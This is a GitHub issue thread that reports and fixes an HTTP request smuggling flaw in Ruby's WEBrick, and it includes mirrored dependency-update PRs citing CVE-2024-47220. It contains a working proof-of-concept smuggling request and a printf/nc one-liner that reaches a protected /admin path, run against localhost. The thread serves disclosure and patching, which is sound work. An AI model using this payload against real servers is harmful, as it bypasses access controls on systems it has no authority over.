Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HTTP Request Smuggling in ruby webrick #145

Closed
JulianWu520 opened this issue Sep 18, 2024 · 10 comments · Fixed by #146
Closed

HTTP Request Smuggling in ruby webrick #145

JulianWu520 opened this issue Sep 18, 2024 · 10 comments · Fixed by #146

Comments

@JulianWu520
Copy link

The vulnerability happens because the server doesn't correctly handle requests with both Content-Length and Transfer-Encoding headers. This allows an attacker to sneak in an extra request (e.g., GET /admin) after the normal request (POST /user). As a result, unauthorized users can access restricted areas like /admin by POST /user.

The following Ruby WEBrick sample server was used to process HTTP requests:

require 'webrick'

server = WEBrick::HTTPServer.new(
  Port: 8000,
  DocumentRoot: Dir.pwd
)

server.mount_proc '/admin' do |req, res|
  res.body = "This is the admin area. Only authorized users should see this.\n"
end

server.mount_proc '/user' do |req, res|
  res.body = "This is the user area. Welcome!\n"
end

trap('INT') { server.shutdown }
server.start

hacker request

POST /user HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 50
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1:8000

server response
image

Console log

julianwu@RLab:~/Work/ruby/webrick$ ruby test.rb
[2024-09-16 00:20:45] INFO  WEBrick 1.8.1
[2024-09-16 00:20:45] INFO  ruby 3.0.2 (2021-07-07) [x86_64-linux-gnu]
[2024-09-16 00:20:45] INFO  WEBrick::HTTPServer#start: pid=209120 port=8000
127.0.0.1 - - [16/Sep/2024:00:20:46 CST] "POST /user HTTP/1.1" 200 32
- -> /user
127.0.0.1 - - [16/Sep/2024:00:20:46 CST] "GET /admin HTTP/1.1" 200 63
- -> /admin
jeremyevans added a commit to jeremyevans/webrick that referenced this issue Sep 18, 2024
If a request has both a content-length and transfer-encoding
headers, return a 400 response.  This is allowed by RFC 7230
section 3.3.3.3.

Fixes ruby#145
@jeremyevans
Copy link
Contributor

I checked and RFC 7230 allows the server to return an error in this case. I've submitted pull request #146 to fix it, can you test it and see if it works in your example?

@JulianWu520
Copy link
Author

Hi jeremyevans,

I have checked the patch you pushed, the issue is still unresolved, please check by the command below.

 (printf 'POST /user HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nTransfer-Encoding: chunked\r\nContent-Length: 50\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: 127.0.0.1:8000\r\n\r\n'; cat) | nc 127.0.0.1 8000

image

@jeremyevans
Copy link
Contributor

I guess you aren't using pull request #146. With pull request #146:

Webrick output:

[2024-09-18 19:57:46] INFO  WEBrick 1.8.1
[2024-09-18 19:57:46] INFO  ruby 3.3.5 (2024-09-03) [x86_64-openbsd]
[2024-09-18 19:57:46] INFO  WEBrick::HTTPServer#start: pid=62758 port=8000
[2024-09-18 19:57:59] ERROR HTTPRequest#fixup: WEBrick::HTTPStatus::BadRequest occurred.
127.0.0.1 - - [18/Sep/2024:19:57:59 PDT] "POST /user HTTP/1.1" 200 32
- -> /user

nc output:

HTTP/1.1 200 OK
Server: WEBrick/1.8.1 (Ruby/3.3.5/2024-09-03)
Date: Thu, 19 Sep 2024 02:57:59 GMT
Content-Length: 32
Connection: Keep-Alive

This is the user area. Welcome!

I am able to recreate the problem without pull request #146, though.

@JulianWu520
Copy link
Author

Hi jeremyevans,

Sorry, I forgot to check the required lib from the local file. I confirmed that the malicious request is not wokring for this case.

Additionally, could you please assist me in applying for a CVE ID for this vulnerability, and have my name mentioned in the acknowledgments on the Ruby official security page? I would appreciate if you can help me.

@jeremyevans
Copy link
Contributor

Webrick has not been part of Ruby since the release of Ruby 3.0, over three years ago. While this repository is under the ruby organization on GitHub, it is no longer considered part of Ruby.

Webrick should not be used in production. It is only still maintained because there are other gems relying it, most of which do so only for testing, and only because it is a pure ruby implementation and it was shipped with Ruby in the past.

I'm sorry, but I cannot assist with applying for a CVE, and as Webrick is only longer part of Ruby, an acknowledgment on Ruby's official security page would not be appropriate.

@vietqhoang
Copy link

The issue and the fix are much appreciated. What is the project's release practice for new changes?

@jeremyevans
Copy link
Contributor

@hsbt, is it possible to release a new version with this security fix?

@hsbt
Copy link
Member

hsbt commented Sep 24, 2024

Done https://github.com/ruby/webrick/releases/tag/v1.8.2

Someone requests to assign https://nvd.nist.gov/vuln/detail/CVE-2024-47220 from MITRE. It's disrupted our ecosystem and waste our valuable time.

trammel pushed a commit to trammel/pact-ruby that referenced this issue Sep 24, 2024
…ncy.

Webrick was originally part of the pact application, but is now purely used to support testing.

Also, to quote Jeremy Evans ruby/webrick#145 (comment)

> Webrick has not been part of Ruby since the release of Ruby 3.0, over three years ago. While this repository is under the ruby organization on GitHub, it is no longer considered part of Ruby.
>
> Webrick should not be used in production. It is only still maintained because there are other gems relying it, most of which do so only for testing, and only because it is a pure ruby implementation and it was shipped with Ruby in the past.

As Webrick has recently seen a number of CVEs, pulling Webrick in to other codebases unecessarily causes security related maintenance.

It's still fine for testing.
andrewpollock pushed a commit to google/osv.dev that referenced this issue Sep 24, 2024
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [webrick](https://redirect.github.com/ruby/webrick) | `1.8.1` ->
`1.8.2` |
[![age](https://developer.mend.io/api/mc/badges/age/rubygems/webrick/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/rubygems/webrick/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/rubygems/webrick/1.8.1/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/rubygems/webrick/1.8.1/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### HTTP Request Smuggling in ruby webrick
[CVE-2024-47220](https://nvd.nist.gov/vuln/detail/CVE-2024-47220) /
[GHSA-6f62-3596-g6w7](https://redirect.github.com/advisories/GHSA-6f62-3596-g6w7)

<details>
<summary>More information</summary>

#### Details
An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby.
It allows HTTP request smuggling by providing both a Content-Length
header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n"
inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's
position is "Webrick should not be used in production."

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

#### References
-
[https://nvd.nist.gov/vuln/detail/CVE-2024-47220](https://nvd.nist.gov/vuln/detail/CVE-2024-47220)
-
[ruby/webrick#145
-
[https://github.com/ruby/webrick/pull/146/commits/d88321da45dcd230ac2b4585cad4833d6d5e8841](https://redirect.github.com/ruby/webrick/pull/146/commits/d88321da45dcd230ac2b4585cad4833d6d5e8841)
-
[https://github.com/ruby/webrick/commit/f5faca9222541591e1a7c3c97552ebb0c92733c7](https://redirect.github.com/ruby/webrick/commit/f5faca9222541591e1a7c3c97552ebb0c92733c7)
-
[https://github.com/ruby/webrick](https://redirect.github.com/ruby/webrick)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-6f62-3596-g6w7) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>ruby/webrick (webrick)</summary>

###
[`v1.8.2`](https://redirect.github.com/ruby/webrick/releases/tag/v1.8.2)

[Compare
Source](https://redirect.github.com/ruby/webrick/compare/v1.8.1...v1.8.2)

#### What's Changed

- Drop commented-out line by
[@&#8203;olleolleolle](https://redirect.github.com/olleolleolle) in
[ruby/webrick#108
- Add Ruby 3.1 & 3.2 to CI matrix by
[@&#8203;tricknotes](https://redirect.github.com/tricknotes) in
[ruby/webrick#109
- Fix/redos by
[@&#8203;ooooooo-q](https://redirect.github.com/ooooooo-q) in
[ruby/webrick#114
- Raise HTTPStatus::BadRequest for requests with invalid/duplicate
content-length headers by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#120
- Bump actions/checkout from 3 to 4 by
[@&#8203;dependabot](https://redirect.github.com/dependabot) in
[ruby/webrick#121
- Improve CI by [@&#8203;hsbt](https://redirect.github.com/hsbt) in
[ruby/webrick#123
- Fix WEBrick::TestFileHandler#test_short_filename test not working on
mswin by
[@&#8203;KJTsanaktsidis](https://redirect.github.com/KJTsanaktsidis) in
[ruby/webrick#128
- Fix bug chunk extension detection by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#125
- Fix CI. by [@&#8203;ioquatix](https://redirect.github.com/ioquatix) in
[ruby/webrick#131
- Merge multiple cookie headers, preserving semantic correctness. by
[@&#8203;ioquatix](https://redirect.github.com/ioquatix) in
[ruby/webrick#130
- Test on macos-latest by
[@&#8203;byroot](https://redirect.github.com/byroot) in
[ruby/webrick#132
- Require CRLF line endings in request line and headers by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#138
- Prefer squigly heredocs. by
[@&#8203;ioquatix](https://redirect.github.com/ioquatix) in
[ruby/webrick#143
- Only strip space and horizontal tab in headers by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#141
- Treat missing CRLF separator after headers as an EOFError by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#142
- Return 400 response for chunked requests with unexpected data after
chunk by [@&#8203;jeremyevans](https://redirect.github.com/jeremyevans)
in
[ruby/webrick#136
- Fix reference to URI::REGEXP::PATTERN::HOST by
[@&#8203;casperisfine](https://redirect.github.com/casperisfine) in
[ruby/webrick#144
- Prevent request smuggling by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#146

#### New Contributors

- [@&#8203;tricknotes](https://redirect.github.com/tricknotes) made
their first contribution in
[ruby/webrick#109
- [@&#8203;ooooooo-q](https://redirect.github.com/ooooooo-q) made their
first contribution in
[ruby/webrick#114
- [@&#8203;KJTsanaktsidis](https://redirect.github.com/KJTsanaktsidis)
made their first contribution in
[ruby/webrick#128
- [@&#8203;byroot](https://redirect.github.com/byroot) made their first
contribution in
[ruby/webrick#132
- [@&#8203;casperisfine](https://redirect.github.com/casperisfine) made
their first contribution in
[ruby/webrick#144

**Full Changelog**:
ruby/webrick@v1.8.1...v1.8.2

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" in timezone Australia/Sydney,
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/google/osv.dev).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC44MC4wIiwidXBkYXRlZEluVmVyIjoiMzguODAuMCIsInRhcmdldEJyYW5jaCI6Im1hc3RlciIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
andrewpollock pushed a commit to google/osv-scanner that referenced this issue Sep 24, 2024
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [webrick](https://redirect.github.com/ruby/webrick) | `1.8.1` ->
`1.8.2` |
[![age](https://developer.mend.io/api/mc/badges/age/rubygems/webrick/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/rubygems/webrick/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/rubygems/webrick/1.8.1/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/rubygems/webrick/1.8.1/1.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### HTTP Request Smuggling in ruby webrick
[CVE-2024-47220](https://nvd.nist.gov/vuln/detail/CVE-2024-47220) /
[GHSA-6f62-3596-g6w7](https://redirect.github.com/advisories/GHSA-6f62-3596-g6w7)

<details>
<summary>More information</summary>

#### Details
An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby.
It allows HTTP request smuggling by providing both a Content-Length
header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n"
inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's
position is "Webrick should not be used in production."

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

#### References
-
[https://nvd.nist.gov/vuln/detail/CVE-2024-47220](https://nvd.nist.gov/vuln/detail/CVE-2024-47220)
-
[ruby/webrick#145
-
[https://github.com/ruby/webrick/pull/146/commits/d88321da45dcd230ac2b4585cad4833d6d5e8841](https://redirect.github.com/ruby/webrick/pull/146/commits/d88321da45dcd230ac2b4585cad4833d6d5e8841)
-
[https://github.com/ruby/webrick/commit/f5faca9222541591e1a7c3c97552ebb0c92733c7](https://redirect.github.com/ruby/webrick/commit/f5faca9222541591e1a7c3c97552ebb0c92733c7)
-
[https://github.com/ruby/webrick](https://redirect.github.com/ruby/webrick)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-6f62-3596-g6w7) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>ruby/webrick (webrick)</summary>

###
[`v1.8.2`](https://redirect.github.com/ruby/webrick/releases/tag/v1.8.2)

[Compare
Source](https://redirect.github.com/ruby/webrick/compare/v1.8.1...v1.8.2)

#### What's Changed

- Drop commented-out line by
[@&#8203;olleolleolle](https://redirect.github.com/olleolleolle) in
[ruby/webrick#108
- Add Ruby 3.1 & 3.2 to CI matrix by
[@&#8203;tricknotes](https://redirect.github.com/tricknotes) in
[ruby/webrick#109
- Fix/redos by
[@&#8203;ooooooo-q](https://redirect.github.com/ooooooo-q) in
[ruby/webrick#114
- Raise HTTPStatus::BadRequest for requests with invalid/duplicate
content-length headers by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#120
- Bump actions/checkout from 3 to 4 by
[@&#8203;dependabot](https://redirect.github.com/dependabot) in
[ruby/webrick#121
- Improve CI by [@&#8203;hsbt](https://redirect.github.com/hsbt) in
[ruby/webrick#123
- Fix WEBrick::TestFileHandler#test_short_filename test not working on
mswin by
[@&#8203;KJTsanaktsidis](https://redirect.github.com/KJTsanaktsidis) in
[ruby/webrick#128
- Fix bug chunk extension detection by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#125
- Fix CI. by [@&#8203;ioquatix](https://redirect.github.com/ioquatix) in
[ruby/webrick#131
- Merge multiple cookie headers, preserving semantic correctness. by
[@&#8203;ioquatix](https://redirect.github.com/ioquatix) in
[ruby/webrick#130
- Test on macos-latest by
[@&#8203;byroot](https://redirect.github.com/byroot) in
[ruby/webrick#132
- Require CRLF line endings in request line and headers by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#138
- Prefer squigly heredocs. by
[@&#8203;ioquatix](https://redirect.github.com/ioquatix) in
[ruby/webrick#143
- Only strip space and horizontal tab in headers by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#141
- Treat missing CRLF separator after headers as an EOFError by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#142
- Return 400 response for chunked requests with unexpected data after
chunk by [@&#8203;jeremyevans](https://redirect.github.com/jeremyevans)
in
[ruby/webrick#136
- Fix reference to URI::REGEXP::PATTERN::HOST by
[@&#8203;casperisfine](https://redirect.github.com/casperisfine) in
[ruby/webrick#144
- Prevent request smuggling by
[@&#8203;jeremyevans](https://redirect.github.com/jeremyevans) in
[ruby/webrick#146

#### New Contributors

- [@&#8203;tricknotes](https://redirect.github.com/tricknotes) made
their first contribution in
[ruby/webrick#109
- [@&#8203;ooooooo-q](https://redirect.github.com/ooooooo-q) made their
first contribution in
[ruby/webrick#114
- [@&#8203;KJTsanaktsidis](https://redirect.github.com/KJTsanaktsidis)
made their first contribution in
[ruby/webrick#128
- [@&#8203;byroot](https://redirect.github.com/byroot) made their first
contribution in
[ruby/webrick#132
- [@&#8203;casperisfine](https://redirect.github.com/casperisfine) made
their first contribution in
[ruby/webrick#144

**Full Changelog**:
ruby/webrick@v1.8.1...v1.8.2

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" in timezone Australia/Sydney,
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/google/osv-scanner).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC44MC4wIiwidXBkYXRlZEluVmVyIjoiMzguODAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
@hsbt hsbt mentioned this issue Sep 24, 2024
@JulianWu520
Copy link
Author

JulianWu520 commented Sep 25, 2024

Hi hsbt,

I requested to assign https://nvd.nist.gov/vuln/detail/CVE-2024-47220 from MITRE, since jeremyevans said it won't be applied for a CVE for me and your team has committed patch for http smuggling, please let me know if there are any problems for the process.

@hsbt
Copy link
Member

hsbt commented Sep 25, 2024

I requested rejecting CVE-2024-47220 to MITRE now.

Don't request CVE id without maintainer's confirmation. webrick is not for production, it means we will not handle issue as vulnerability over the simple bug.

A lot of people's time is spent by your actions. see above reverse links.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

Successfully merging a pull request may close this issue.

4 participants